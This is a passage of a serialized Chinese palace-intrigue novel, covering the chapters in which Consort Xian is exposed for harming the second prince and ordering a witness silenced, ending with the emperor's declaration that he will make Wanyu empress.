两人相握的手让他心头隐隐作痛,可他却又希望这条宫道永远走不到头。 如此的矛盾,如此的卑微。 终于到了承乾宫的大门外,徐清盏停住脚步,向两人告退。 晚余想和他说点什么,看看身边的祁让,最终只说了句“天黑,你自己小心。” “好。”徐清盏答应一声,向后退了三步,这才转身离去。 晚余站在门前,看着他削瘦如竹的身影沿着狭长宫道踽踽独行,渐渐隐没在黑暗的尽头。 人已经不见了踪影,压抑的咳嗽声却随风传来。 晚余心里说不上来是什么滋味,有那么一瞬间,很想不顾一切地追上去,抱一抱他单薄的身躯,然后告诉他,就算他有天大的事瞒着她,她也可以原谅他。 如果这世间还有一个人值得她无条件地原谅,那个人只能是徐清盏。 “看什么,怕他摔跤吗?”祁让扯了下晚余的手,语气里有浓浓的醋意。 远处响起三更的梆子,离天亮还有很长的距离。 晚余回过头看他:“没什么,臣妾累了,皇上也回去歇着吧!” 祁让皱眉不悦:“这么晚了,你让朕回哪儿去,朕又不是大禹。” “……”晚余朝天翻了个白眼,“臣妾心里挺乱的,想一个人静静,把思绪捋一捋。” “那正好,朕也乱着呢,你帮朕也捋一捋。”祁让不由分说地拉着她的手进了门,径直往寝殿而去。 晚余还要再撵他,紫苏和拾翠已经带着人迎了上来。 晚余只得作罢,和他一起去了寝殿。 净房里备好了热水,晚余让祁让先洗,她要喝口茶缓一缓。 胡尽忠伺候祁让去了净房,紫苏和拾翠帮着晚余脱衣裳拆头饰。 “娘娘去了这么久,可有什么收获?”紫苏随口问晚余。 晚余略一犹豫,随即又道:“算了,也没什么好隐瞒的,反正你们早晚都会知道,端妃去冷宫刺杀兰贵妃,被我和皇上逮了个正着。” “啊?”紫苏大吃一惊,“端妃为什么要刺杀兰贵妃?” “因为她怕皇上包庇兰贵妃,打算亲手杀了兰贵妃为二皇子报仇。”晚余以手按压心口,面上浮现悲痛之色,“梨月也是端妃害死的。” 拾翠一个激灵,手里的玉梳子“吧嗒”一声掉在地上摔成了两半。 “娘娘恕罪,奴婢不是故意的。”她吓得脸色发白,跪在地上给晚余磕头。 晚余的心思显然不在她身上,摆手倦怠道:“起来吧,一个梳子不值什么,是本宫惊到你了。” “多谢娘娘。”拾翠战战兢兢起身,心有余悸道,“奴婢实在太震惊了,端妃娘娘是吃斋念佛之人,她怎么能忍心对小公主下毒手?” “是啊,怎么会是她呢?”紫苏提到小公主,眼泪就止不住地流出来,“我们小公主还那么小,怎么招惹她了,她自己的孩子没了,就要杀了别人的孩子泄愤吗?” 晚余闭了闭眼,恨声道:“她不肯招供,皇上已经让人把她送到慎刑司连夜审讯。” 紫苏递了帕子给她:“娘娘节哀,慎刑司的人总有法子让她开口的,到时候,让皇上诛了她九族为小公主报仇。” 晚余接过帕子掩在脸上:“你们先下去吧,让我一个人待会儿。” “是。”紫苏答应一声,拉着拾翠退了出去。 到了门外,紫苏对拾翠说:“太晚了,你去歇着吧,我在这里守着就行了。” 拾翠大约是吓到了,脸色很是难看,听闻紫苏让她去歇息,便也没有推辞,道了谢就急匆匆地走了。 约摸过了半个时辰,晚余和祁让才拾掇好上床躺下。 被汤婆子暖过的被窝热烘烘的,驱散了那冷到骨头缝里的寒意。 祁让难得没有对晚余动手动脚,只是静静地搂着她,和她一起躺在黑暗里。 外面值夜的宫人确认两人安寝之后,便熄灭了院子里的灯。 整个宫殿变得漆黑一片。 过了一会儿,承乾宫东北角的宫墙内,响起了几声野猫的叫声。 片刻后,墙外便也响起了猫叫声。 一个黑影站起来,将一团东西奋力扔出院墙,咚的一声砸在地上。 墙外的人便捡起那团东西,又学了两声猫叫,便沿着宫道迅速走开,往钟粹宫的方向而去。 钟粹宫里,贤贵妃的寝殿还亮着灯。 贤贵妃披衣坐在床上,接连打了几个哈欠,却迟迟不肯就寝。 吱呀一声,宫女采红推门而入,手里拿着一个沉甸甸的荷包走到床前:“娘娘请看,这是拾翠姐姐的荷包。” 贤贵妃顿时来了精神,接过荷包打开,从里面掏出一块石头和一张折叠了好几道的纸。 她把荷包和石头都递还给采红,迫不及待地展开那张纸,才看了一个开头,就蓦地变了脸色。 “娘娘,怎么了?”采红问道。 贤贵妃攥着那张纸,手微微发抖:“端妃被皇上抓到了,现已送去了慎刑司连夜审讯。” “啊?”采红大吃一惊,“那怎么办,她,她不会供出娘娘吧?” 向来端庄沉稳,喜怒不形于色的贤贵妃此时再也无法保持淡定,略一思索后,吩咐道:“传话给张有道,叫他下手重一些,直接打死,不要给端妃开口的机会。” 第356章 他是一个矛盾体 晚余原本不打算睡的,后来,不知是她太累,还是被窝太暖和,迷迷糊糊地就睡了过去。 不知过了多久,她在半梦半醒之间,听到窸窸窣窣的响动,费力睁开眼,隔着层叠的纱帐,看到胡尽忠和小福子正在伺候祁让更衣,三人还小声说着什么。 晚余挑开帐子,叫了祁让一声:“皇上,出什么事了?” 祁让转过头看她,摆手叫胡尽忠和小福子退下,自己系着披风的带子走到床前。 “慎刑司那边有动静了,张有道试图杀端妃灭口,被徐清盏抓住了。” 晚余吃了一惊,一下子清醒过来:“张有道?竟然是他?” “是啊,朕也没想到是他。”祁让说,“还不到五更,外面冷着呢,朕过去就行了,你接着睡吧!” “不,我也要去。”晚余急忙坐了起来,“花了这么大的心思,终于要水落石出了,臣妾一定要亲眼去看看。” 祁让略一犹豫,伸手摸了摸她的脸:“好吧,朕叫人进来服侍你更衣,朕在外面等你。” 晚余嗯了一声,看着他走出去,又听到他在外面叮嘱紫苏:“外面冷,给你家娘娘多加件衣裳。” 这个人,狠起来手足兄弟都杀,体贴起来,细枝末节都能替人想得周全。 晚余有时感觉自己把他看得很透彻,有时又感觉自己完全看不懂他。 他生性多疑,总是欺骗她,可她和他说了自己的计划后,他又毫不犹豫地选择相信她,愿意配合她演戏。 他就是一个矛盾体,偏执与温柔,暴虐与怜悯,薄情与炽烈,在他身上矛盾而和谐地并存。 他善于将柔情化作砒霜,也惯于把残忍包装成恩赐。 权谋是他的血肉,情爱是他的隐疾。 他一面是杀伐决断的暴君,一面又是执念入骨的痴人。 朝堂上不动声色便能诛人九族,却又在深宫守着一具焦尸彻夜不眠。 晚余恨他,怨他,却也分不清,他时不时表现出来的爱与慈悲,究竟是裹着蜜糖的算计,还是他阴暗灵魂里偶然透出的光。 晚余换好了衣服出门,便又被等在外面的祁让牵住了手,和昨晚一样,两人又沿着狭长空旷的宫道,往慎刑司而去。 昨晚是走向越来越深的黑夜,今早是走向越来越近的黎明。 慎刑司的刑讯室里,徐清盏还穿着昨晚的衣裳,裹了一件狐裘披风坐在圈椅里,手里握着一条染血的长鞭。 一屋子暖黄的烛火,照亮他妖孽般的脸,也照亮刑架上被捆成大字形的张有道。 晚余跟在祁让后面进了门,看到徐清盏,第一时间问他:“清盏,你怎么样,没受伤吧?” 徐清盏从椅子上站起身,对两人躬身行礼:“娘娘不必担心,抓他不用臣出手,来禄他们就搞定了。” 晚余放下心来,看向张有道。 她对这人实在印象深刻。 那时她被诬陷偷了祁让的玉佩,就是张有道负责审讯她的,还说到了他手里,哑巴都要开口说话。 而今,自己这个哑巴确实开口说话了,他却成为了被绑上刑架的人。 这可真是风水轮流转。 “他招了没有,是谁让他对端妃下手的?”晚余问道。 徐清盏握着鞭子轻敲掌心:“还没有,张总管好歹是慎刑司的一把手,轻易就招供的话未免太丢脸,怎么着也得把十大酷刑轮一遍,方能证明自己是块硬骨头。” “那就好好招待他吧!”祁让冷声道,“天亮之前,他若还不招,你就不用再问了,直接凌迟处死。” 徐清盏闻言笑起来:“臣遵旨,这个臣最拿手,上回片中山王片了四千零一百八十刀,不知道张总管这身肉,能片多少刀。” 张有道血迹斑斑的脸上终于露出惊悚的神情:“皇上饶命啊皇上,奴才没有受谁的指使,奴才就是正常刑讯,没有要杀害端妃的意思,奴才是冤枉的。” 祁让冷冷看他,像看一条死狗:“这些话你跟朕说不着,跟徐掌印的鞭子说吧!” 言罢便携着晚余的手出了门:“这里血腥味太重,咱们去瞧瞧端妃。” 晚余跟着他去了隔壁关押端妃的房间。 这个房间还算干净,地上铺着厚厚的稻草,端妃穿着染血的衣衫,神情呆滞地坐在角落里,一墙之隔,传来张有道杀猪般的嚎叫。 看到祁让和晚余进来,端妃也没什么反应。 晚余走到她面前停下,语气平静地问她:“别人都想要你的命了,你还要替别人隐瞒吗?” 端妃抬头看她,眼神空洞:“你算准了有人要杀我,才把我送进来的是吗?” “是。”晚余坦白承认,“你不肯说,我只能用这个方法把那人引出来,如果你昨晚就说了,便不用费这一番周折。” “我不会说的。”端妃漠然道,“我答应过她,无论如何都不会牵连她,她没有做错什么,她只不过可怜我,和我说了实话而已。” 晚余嗤笑一声:“你怎么知道她说的是实话,她若真可怜你,又怎么会杀你灭口?” “她也没办法。”端妃说,“她不杀我,我就会供出她,她为了自保,只得如此。” “……” 晚余哑然,感觉她是一个比祁让还矛盾的人。 “你为了把我留在宫里对付兰贵妃,不惜害死我刚满月的孩子,现在,你却共情一个对你痛下杀手的人,还为她找好了理由,你这些年信的究竟是佛还是魔?” 端妃低下头:“总之我不会说的,就算没有我,你的孩子也活不长。” 关于孩子的话,这是她第三次表明自己的态度。 在她看来,一个本来就活不长的孩子,杀了就杀了,能够物尽其用,就是那孩子最后的价值。 她自己的孩子是先天哮喘,说不定哪天也会一口气上不来一命呜呼,她却固执地要为她的孩子报仇,为此不惜赔上自己的性命。 晚余心口又痛又憋闷,已经不知道该说什么。 在此之前,她一直对端妃这个人怀有一丝丝的怜悯,甚至因为她们都失去了孩子,对她的恨都没有那么纯粹。 现在,她心里那点怜悯已经荡然无存,也不想去探究她的内心,她的动机,只想让她为梨月偿命。 隔壁,张有道的惨叫一声高过一声,凄厉又清晰地传到他们三个人的耳中。 随着一道惨绝人寰的叫声,张有道终于开口:“别打了,我说,我说,是贤贵妃,是贤贵妃指使我的。” 第357章 你从什么时候开始怀疑我的 天色将明未明的时候,贤贵妃被人从钟粹宫带到了慎刑司。 她彻夜未眠,脸色晦暗,眼圈发乌,一路行来,最初的惊慌失措已经消散在黎明的冷风里,嘴角又挂上了她惯常的笑容。 事已至此,再惊慌又有何用? 她是贵妃,要有贵妃的气度。 慎刑司的大堂上,祁让和晚余并排坐在上位,贤贵妃进门时恍惚了一下,感觉他们不像是在审案,更像是帝后二人在接受百官的朝贺。 贤贵妃心中五味杂陈,看了看侍立一旁的徐清盏,又看了看跪在地上的端妃和张有道,缓步上前,福身给祁让行礼:“臣妾见过皇上,不知皇上这么早传臣妾到慎刑司所为何事?” 她如此淡定,脸上甚至带着浅浅的笑意,和从前每次见到祁让的时候一样,温婉又贤惠,那个“贤”字当真和她再般配不过。 祁让以前就不喜欢看她笑,此时此刻,越发觉得她笑得太假。 祁让不想和她废话,开口直奔主题:“张有道说,是你让他杀端妃灭口的,你有何话说?” 贤贵妃先是一愣,随即矢口否认:“臣妾没有,臣妾从前确实对张有道有恩,但臣妾从没指使过他杀端妃灭口,臣妾甚至都不知道端妃进了慎刑司,端妃不是在长春宫吗,她犯了什么事,怎么会被送来了慎刑司?” 她把所有事推得一干二净,表情也拿捏得恰到好处。 祁让冷笑一声:“你就这么有把握自己能做得滴水不漏吗?” 贤贵妃道:“臣妾什么也没做过,皇上叫臣妾如何承认,或许张有道确实有杀端妃灭口的嫌疑,但也不排除他为了保全他真正的主子,胡乱攀扯臣妾的可能呀!” 说着转身看向张有道:“你这奴才为何诬陷本宫,本宫何时说过让你杀端妃了?” 张有道被折磨得奄奄一息,趴在地上有气无力道:“昨晚,三更将近,娘娘派人传话给奴才,让奴才借着刑讯灭了端妃的口,不要给她开口说话的机会……” “胡说八道!”贤贵妃厉声打断了他,“本宫二更就睡下了,怎么会在三更将近传话给你,传话的人长什么样,你确定是本宫跟前的人吗?” 张有道说:“那人以黑巾蒙面,奴才没看到他的长相,但他明确说了是贤贵妃的吩咐。” 贤贵妃顿时笑起来:“皇上,您都听见了吧,一个黑巾蒙面的人,他连人家的长相都没看清楚,这分明就是有人要栽赃臣妾呀!” 祁让冷冷看着她,多一句话都不想和她讲,只向徐清盏递了个眼神。 徐清盏抬手击掌,拾翠被两个小太监押着走了进来。 贤贵妃看到拾翠,脸色有瞬间的变化,但随即就恢复淡定。 拾翠被押上来,跪在地上给祁让和晚余磕头,又给贤贵妃磕头:“娘娘,奴婢对不起您,奴婢实在受不住刑,奴婢已经招了,娘娘把奴婢送给皇贵妃,就是为了让奴婢帮忙打探消息,端妃娘娘进慎刑司的消息,就是奴婢传递给娘娘的。” “你在胡说什么?” 贤贵妃一脸震惊的模样,“本宫把你送给皇贵妃的那天起,就和你说过,让你尽心尽力服侍皇贵妃,本宫何曾说过让你帮忙打探消息?” 她转而看向晚余,言辞恳切:“妹妹,咱们两个感情这么好,你不会也怀疑我吧? 你答应要把梨月给我养,梨月的事,我和你一样痛断肝肠,你说要调查梨月的死因,我就不遗余力地帮你,我怎么可能安插眼线在你身边? 好妹妹,别人都可以不信我,你不能不信我呀!” 到了这个时候,她还能如此淡定从容,应对自如,晚余真是打心底里佩服。 首辅家养出来的女儿,到底是比武将世家养出来的女儿城底深。 这要是换作兰贵妃,只怕早就跳脚抓狂,破口大骂了。 晚余挺了挺腰身,语气平静道:“我也不相信是姐姐干的,可铁证如山,由不得我不信。” 贤贵妃说:“拾翠是我送给妹妹用的,早就不算是我的人,她的话算不得是铁证吧?或许她也是被别人收买,故意挑拨我与妹妹之间的感情呢?” “有道理。”晚余点点头,看向拾翠,“你说,你是被谁收买的?” 拾翠脸色煞白,瑟瑟发抖:“奴婢没有,奴婢打进宫起就只有贤贵妃一个主子,就算被送到承乾宫,也只忠于贤贵妃一人,奴婢没有被旁人收买,这件事确实是贤贵妃让奴婢干的。” 晚余沉下脸,厉声道:“好一个油嘴滑舌的刁奴,既然你不肯说实话,那就继续受刑吧,本宫倒要看看,你那藏在背后的主子会不会出来保你。” “徐掌印,带下去接着打!” “是。”徐清盏答应一声,冲那两个小太监吩咐道,“带下去,把慎刑司的十大酷刑都给她用上。” 两个小太监垂首应是,拖起拾翠就走。 拾翠本来就已经挨了杖刑,后背在地上拖出一道血痕。 “娘娘饶命啊娘娘,奴婢没有说谎,奴婢没有说谎……”她惊慌大喊,垂死挣扎,“奴婢知道贤贵妃一个秘密,二皇子是贤贵妃害死的,求娘娘让奴婢将功折罪……” “停!”晚余抬手叫停了两个小太监。 像木头人一样跪在地上的端妃猛地抬起了头,顶着一张煞白的脸看向贤贵妃。 贤贵妃从容不迫的脸上终于有了一丝裂缝,眼中闪过一抹慌张。 “皇上,娘娘,这贱婢分明就是怕死,想胡乱攀扯来拖延时间……” “奴婢没有胡乱攀扯,奴婢说的是真的。”拾翠颤声哭喊,“奴婢是偶尔偷听贤贵妃和李嬷嬷讲的,当年端妃生二皇子时,李嬷嬷替贤贵妃买通了接生的嬷嬷,在二皇子落地后,用沾了花粉的帕子给二皇子擦拭口鼻,让二皇子把那些花粉吸入肺腑,造成了先天性哮喘的症状。” 一番话不管不顾地喊出来,惊得满堂寂静。 片刻后,端妃突然发出一声凄厉的尖叫,跌跌撞撞爬起来,向贤贵妃扑过去。 贤贵妃吃惊地向后躲开,端妃扑了个空,重重摔在地上,呕出一口鲜血。 “竟然是你,为什么是你,亏我那么信任你,你和我说是兰贵妃干的,我便信了你的话,一心要杀了兰贵妃给我儿子报仇……” 她大口的喘息,鲜血顺着嘴角往下淌,搭配她惨白的脸色,就像从地狱爬上来的恶鬼。 贤贵妃终于慌了神,却还在拼命摇头否认:“不是我,不是我,你不要听这贱婢瞎说。” “奴婢没有瞎说。”拾翠急切道,“皇上和娘娘若是不信,可以把李嬷嬷带来问话,李嬷嬷是贤贵妃的陪嫁嬷嬷,贤贵妃干的事她都有参与。” 晚余的手心和后背都出了一层冷汗,说不好是太过震撼还是太过激动。 她转头看向祁让,声音也有些发抖:“要不要审讯李嬷嬷,请皇上定夺。” 祁让脸色阴沉得可怕,眼底一片血红:“来人,去带李嬷嬷过来,和贤贵妃一起送去刑房,由徐清盏亲自审问。” “不必了!”贤贵妃颓然跪倒在地,“臣妾自幼丧母,是李嬷嬷一手把臣妾带大的,如今她年事已高,受不住刑,请皇上饶她一命,所有的事,臣妾一人承担。” 祁让怒视着她,一字一字咬牙切齿:“你说,你都做了什么?” 贤贵妃凄然一笑,缓缓道:“当年,臣妾和端妃兰贵妃一同进宫,她们二人,一个比不上我的家世,一个比不过我的才学,却都在我前面怀了身孕。 父亲一心想让我坐上皇后之位,嫌我的肚子不争气,时常逼迫责骂于我,我便对她们二人怀恨在心,想出了这一石二鸟之计,让她们二人自相残杀,我好坐收渔翁之利……” “毒妇,你这毒妇!” 端妃一手撑着地,一手颤巍巍指向她,“枉我这么信任你,任凭他们怎么打我,我都没把你供出来,却原来,你才是那个蛇蝎心肠之人。” “我也不想的,可我没有别的办法,我如果当不上皇后,我父亲就饶不了我。” 贤贵妃跪坐在地上,流泪看向晚余,“我虽然害了二皇子,但我是真心想抚养梨月的,我比谁都想让她活着,我从来没有做过伤害梨月的事……” “可她却因你而死。”晚余红着眼睛打断她,“如果不是你误导端妃,端妃就不会恨兰贵妃,也不会为了把我留下来对付兰贵妃而伤害梨月,这一切的因果都是因你而起,你背负的不只是一个孩子的性命。” 贤贵妃无言以对,苦笑着问她:“你装疯卖傻做下此局,针对的不只是端妃吧,你是从什么时候开始怀疑我的?” 第358章 天下头一号的傻子 贤贵妃自认为自己的心思足够缜密,一举一动也足够隐蔽,实在猜不到自己是什么时候在晚余面前露了马脚。 晚余很快就给了她解答:“就在我决定查找真相那天,我让紫苏请你和乌兰雅去承乾宫,你和我说了端妃和兰贵妃的恩怨,又说庄妃是鹬蚌相争,渔翁得利。 我当时就在想,得利的那个真的是庄妃吗,庄妃已经有了嘉华公主,之前还因为给我投毒未遂被皇上警告过,她真的敢再次铤而走险吗? 反倒是你这个无儿无女,置身事外的人,什么也没做就当上了贵妃,假如庄妃倒了台,还有谁能争得过你?” 贤贵妃惊诧地看着她,不敢相信她竟然因为一句话就对自己起了疑心。 自己说那句话,确实是想引导她怀疑庄妃,现在看来,竟是弄巧成拙了。 贤贵妃自嘲一笑:“原来你从那么早就开始怀疑我了,亏我后面还为了支持你,带头将拾翠送给了你。” 晚余说:“你送拾翠给我,本就目的不纯,我也不过是将计就计而已,你以为拾翠对你忠心不二,可她终究只是个奴婢,慎刑司的酷刑岂是她能扛得住的?” 贤贵妃的笑容变得苦涩:“你说得对,是我太过自信了,毕竟这些年,后宫没有人能算计过我。” “所以有句话叫聪明反被聪明误。”晚余说,“你因为一己私欲,害了这么多人,而你将要为此付出的代价,也是你承担不起的,你的家人,你的族人,都将恨你入骨。” 贤贵妃终于笑不出来,跪在地上给祁让磕头:“皇上,臣妾虽然让二皇子染上了哮喘,但臣妾并没有直接害死二皇子。 二皇子亡故纯属偶然,和臣妾没有直接关系,和臣妾的家人族人更加没有关系。 求皇上开恩,饶过臣妾的家族,臣妾愿为自己的行为承担一切罪责。” 祁让捏着拇指上的翡翠扳指,面色阴沉如水:“事到如今,你还在为自己推卸责任,二皇子是因为吸入花粉引发了哮喘,而他的哮喘之症是你一手造成的,这跟直接害死他有什么区别,你居然说和你没有关系? 你知道什么叫家族吗,从你起了恶念的那一刻起,就该清楚你的行为将会带给家族什么样的灾难,现在才想起为他们求情,不觉得太晚了吗?” 贤贵妃的额头抵在冰冷的地砖上,身子开始发抖。 “臣妾知道错了,求皇上开恩,臣妾的父兄虽不像兰贵妃的父兄那样为皇上开疆拓土,守卫边境,却也在朝堂上为皇上尽心尽力,忠心耿耿,没有功劳也有苦劳,请皇上开恩,饶过他们吧!” 祁让冷笑一声,语气里是隐忍的怒火:“每一个向朕求情的人,都会说他们对朕忠心耿耿,若当真忠心耿耿,又怎会对朕这么多的算计,背着朕做下这些不可饶恕之事? 一面犯下欺君之罪,一面又希望朕不要降罪,难道朕在你们眼里,是什么悲天悯人的菩萨不成? 这才几年而已,你们就忘了朕的皇位是如何得来的吗?” 帝王之怒,令人窒息,整个大堂的空气都为之凝固。 贤贵妃趴在地上,绝望又惶恐。 祁让压了压怒火,沉声下达命令:“贤贵妃残害皇嗣,手段卑劣,罪不可恕,现褫夺封号,贬为庶人,打入冷宫听候发落。 徐清盏,朕命你即刻带人前往严府,将贤贵妃所犯罪行详细告知,再将内阁首辅严世亭及严氏一族在朝为官之人全部捉拿归案。” “不,不要。” 贤贵妃顿时慌了神,爬跪到祁让跟前,抱住他的腿苦苦哀求,“皇上,臣妾侍奉您多年,虽然没能为您诞下皇嗣,却也兢兢业业为您打理后宫,不曾出一点差错,不曾贪墨一文钱,皇上当真半分旧情都不念,要对臣妾和臣妾的家人赶尽杀绝吗? 皇上,求求您了,您不能如此绝情啊皇上!” 祁让的脚被她抱住,皱眉嫌恶地看着她,不顾她的声泪俱下,以眼神示意孙良言把她拖下去。 孙良言上前去拉她,她又猛地一把抱住了晚余的脚: “妹妹,好妹妹,我知道你心善,你帮我求求皇上吧,我纵有千般错,但我从来没想过害你,也没想过害梨月,自从你决定把梨月托付给我的那天起,我就掏心掏肺地对你好,妹妹……” 晚余吓一跳,挣了两下没挣脱,望着她婆娑的泪眼说道:“你没害梨月,梨月却因你而死,我怎么可能为你求情?” 孙良言又叫了两个小太监来,让他们把贤贵妃拉开,送去冷宫关押。 两人合力将贤贵妃的手扒开,拖起就走。 贤贵妃垂死挣扎,大声喊叫:“皇上对我们这些妃嫔没有一点怜悯之心,唯独对江晚余犯的错视而不见,这样就是皇上所谓的公平吗? 江晚余藐视圣躬,以下犯上,从来不把皇上放在眼里,她不仅在宫中纵火,还私逃出宫,皇上把她抓回来,非但不治她的罪,还给她更多恩宠。 她父兄犯下谋逆之罪,她也能安然无恙,步步高升,凭什么,凭什么,臣妾不服,皇上要治臣妾的罪,也该将她一并治罪才算公平。” 晚余心里咯噔一下,转头看向祁让。 祁让面无表情,根本没理会贤贵妃的话,直接摆手示意两个小太监把她押走。 贤贵妃倍感羞辱,不管不顾冲他喊道:“皇上,江晚余从冷宫出逃是臣妾帮她的,皇上可知她和臣妾做了什么交易?” 晚余的心一下子提到了嗓子眼,后背也随之变得僵硬。 孙良言一听势头不对,连忙吩咐两个小太监把她嘴堵上。 “等一下。”祁让抬手制止,嗓音平静中带着危险的气息,“放开她,让她说。” 两个小太监只得松了手。 贤贵妃生怕被晚余打断似的,飞快说道:“江晚余和臣妾说,她讨厌皇上,宁愿死在外面也不要和皇上在一起。 她让臣妾帮她逃走,她说她如果逃不掉,就全力助臣妾登上后位。 臣妾问她为什么不自己当皇后,她说皇后是皇上的妻子,她不愿意和皇上做夫妻,所以她永远不会去争那个位子。 后来她怀了身孕想把孩子打掉,也曾向臣妾求助,她为她母亲迁坟,就是为了出宫去拿臣妾让人给她准备的落胎药。 还有冯贵人的龙胎也是假的,臣妾当初为了助江晚余出宫,让冯贵人假装怀孕,这件事江晚余也是知道的,她可曾和皇上说过? 她什么都瞒着皇上,对皇上没有半点真心,皇上却把她当成心头肉,我们这些真心爱慕皇上的人,却被皇上弃如敝履。 皇上,您才是天下头一号的傻子呀皇上……” 第359章 生同衾,死同穴 凄厉的,带着哭腔的喊叫在整个大堂回荡,犹如一道道惊雷从在场每个人的头顶滚过,所有人都被贤贵妃玉石俱焚的操作吓得变了脸色。 晚余的心扑通扑通一阵狂跳,手脚都在这一刻变得冰凉。 贤贵妃真是疯了,为了打击她,竟不惜暴露自己的罪行。 她这是打定了主意,宁为玉碎不为瓦全吗? 虽说这些事已经是过去的事,可祁让的脾气不可捉摸,谁敢保证他不会生气呢? 晚余不禁想起祁让收服中山王时,那个突然冒出来揭发她的丁宝林。 丁宝林当时不过是和祁让说了后宫妃嫔借着李美人的生辰宴把祁让灌醉的事,祁让就发了好大的火,差点波及到沈长安和徐清盏。 现在,贤贵妃揭露的这些事,比生辰宴的事严重百倍,祁让不可能一笑而过。 晚余心中忐忑,人虽然还坐着没动,后背却已经开始冒冷汗。 到了这时候,她唯一庆幸的是,这几桩事都和沈长安徐清盏没有关系,只是她和贤贵妃的单线交易。 祁让就算生气,也牵涉不到沈长安和徐清盏。 正想着,徐清盏突然走上前叫了一声“皇上”。 晚余差点急得跳起来。 她不想徐清盏为她求情,这样只会更加激怒祁让。 就连站在晚余身侧一直没吭声的胡尽忠都急出一身的冷汗,拼命地朝徐清盏挤眉弄眼,提醒他不要轻举妄动。 徐清盏却视若无睹,对祁让躬身道:“皇上,臣有话要说。” 祁让此时的脸色已经不能单纯用难看来形容,尽管他还隐忍着没有发作,周身散发出的寒意,便足以令人胆战心惊。 他薄唇紧抿着,狭长的凤眸如锋利的刀扫向徐清盏,冷冷吐出一个字:“说!” 晚余的双手在袖中用力交握,有种喘不上气的感觉。 徐清盏掩唇咳了几声,缓缓道:“皇上让臣前往严府通告贤贵妃的罪行,臣就是想问问皇上,贤贵妃逼迫后宫妃嫔假孕欺君,身为后宫主事人,挑唆后宫妃嫔纵火出逃,给后宫妃嫔提供落胎药这三宗罪行,要不要加进去?” 此言一出,大堂上陷入诡异的静默。 大家都以为他要给晚余求情,他却剑走偏锋,冷静而迅速地从贤贵妃的供述中提取了贤贵妃的三宗罪,瞬间扭转了场上风向,也隐晦地提醒祁让,查抄严府才是最当紧的。 贤贵妃气得咬牙,没想到自己最后拼死一搏,竟然被徐清盏横插一脚。 这感觉就像一个马上就要引爆的炮仗,突然被人浇了一盆冷水,变成了哑炮。 她赌上自己性命的一击,完全失去了威力。 胡尽忠倒是暗暗松了口气,偷偷给徐清盏比了个大拇哥。 孙良言紧绷的脸色也稍有缓和。 晚余却丝毫不敢放松,随时准备应对祁让的怒火。 祁让沉着脸,黑漆漆的眸底暗潮翻涌。 门外,黎明已经来临,晨光涌入,令满堂的烛火都失去了光彩。 天亮了,他却像是被留在了黑夜。 他没有理会徐清盏的话,漠然看向贤贵妃:“江晚余私逃出宫的事,朕原本已经答应她不再追究,现在,既然你自己主动承认,朕少不得要好好追究追究你了。 你是通过什么渠道把她送出宫的,出宫后是什么人负责交接,她跑路用的路引和盘缠是谁给她的,那人是通过什么关系拿到的路引,都要一五一十给朕交代清楚,朕要将所有涉案人员一并斩首。” 贤贵妃当场吓白了脸。 给江晚余提供路引的是她嫡亲的兄长。 她本来是要攀扯江晚余的,现在却要连累兄长掉脑袋了吗? “还有冯贵人的事,朕记得当时就是你说江晚余推了冯贵人,害冯贵人落了胎,江晚余才会被打入冷宫。 她受了冤屈,就算不和朕坦白,也可以两相抵消,而你这个主谋者犯的却是欺君之罪。” 贤贵妃错愕地看着祁让,震惊到说不出话。 这跟她想达到的效果完全不一样。 她以为皇上就算问她的罪,也会连带着问江晚余的罪。 可是现在,皇上三言两语就把江晚余的罪抵消了。 “那她想要打掉孩子的事呢?”贤贵妃不甘心地问道,“她身为皇上的妃嫔,却要打掉皇上的孩子,这个皇上也能忍受吗?” 祁让看着她,神情更加冷漠:“你也说了,她只有出宫才能拿到落胎药,可后来朕并没有让她出宫去给她母亲送葬,她也没能打掉孩子。 反倒是你,你当时掌管着后宫,这么大的事不及时向朕禀报,还私自给她提供落胎药,你可知你犯了什么罪?” 贤贵妃整个人都不好了。 她只知道晚余当时不想要那个孩子,并不知道晚余和祁让为了孩子进行过怎么的抗争,她也不知道,两人之间,是祁让先妥协的。 是祁让拿出宫的圣旨向晚余妥协,晚余才答应把孩子生下来。 所以,祁让又怎会在乎一颗晚余根本没拿到手的落胎药? 不过这样一来,祁让倒是弄清楚晚余当时为什么会割腕了。 原来是自己临时决定不让她出宫送葬,打断了她的计划,让她心灰意冷,生无可恋了。 祁让转头看向晚余,锐利的目光落在晚余脸上。 晚余紧张地和他对视,不仅脸色发白,连那两片樱唇都失去了颜色。 祁让今天实在反常,非但没有发火,反而从方方面面替她开脱。 她看不懂祁让意欲何为,总觉得事情没这么简单。 莫非这是暴风雨来临前的宁静? 她越发忐忑不安。 正想着要说点什么,祁让突然伸手捏住了她的下巴,目光灼灼逼视她的眼睛,语气坚定,霸道,不容置喙: “不稀罕皇后之位,不想和朕做夫妻是吧?朕偏要把皇后之位给你,偏要你和朕做夫妻,朕要与你生同衾,死同穴,生生世世与你做夫妻!” 第360章 谁有意见都没用 祁让的话成功让现场所有人都失了声。 一阵令人不知所措的静默中,晚余清晰地听到自己脑中轰的一声,像是有什么东西炸开,尖锐的蝉鸣随即在耳边响起。 一瞬间,她终于明白方才她心里那种说不出的不安是怎么回事,她怕的,就是祁让这种不可控的疯癫之举。 祁让向来不喜欢别人干涉他的思想,甚至别人越想引导他,他就越逆反。 因此,贤贵妃的放手一博,不仅达不成目的,反而会因为让他当众下不来台而刺激到他,引发他的逆反心理。 而自己,就是夹在他们两人中间那个承担后果的人。 可能在别人来说,她是幸运儿,但她实则是个受害者。 只是不知道,祁让这一举动是单纯的被激怒,还是早有预谋。 晚余心里翻江倒海,对上祁让灼灼的目光,不敢直接表示反对,而是尽量保持冷静地劝他: “皇上,立后是国之大事,不能儿戏,臣妾晋升皇贵妃已经让前朝颇有微词,这才没几天,皇上又要立臣妾为后,实在太过仓促与草率,还请皇上三思,与朝臣们商议之后再下定论。” 祁让不屑冷笑:“朕自己娶媳妇,与外人何干,他们不同意,朕就一辈子不立后了吗?” 他捏着晚余的下巴,脸向她凑近,与她咫尺相望,呼吸相闻,语气中带着威胁和警告:“你究竟是怕朝臣有意见,还是你自己有意见? 朕是天子,金口玉言,朕的话就是不可更改的圣旨,谁有意见都没用。 朕可以不追究你的过错,你也休要和朕耍任何花招,毕竟这世上还是有你在乎的人的。” 晚余的心猛地一沉,眼角余光下意识看向徐清盏。 祁让本来就是个疯子,最近又情志失常,杀红了眼一样。 她不敢拿徐清盏和沈长安的命和他赌。 她没再说话,决定先缓一缓,等他冷静下来再说。 相比晚余的沉着冷静,贤贵妃已经疯了。 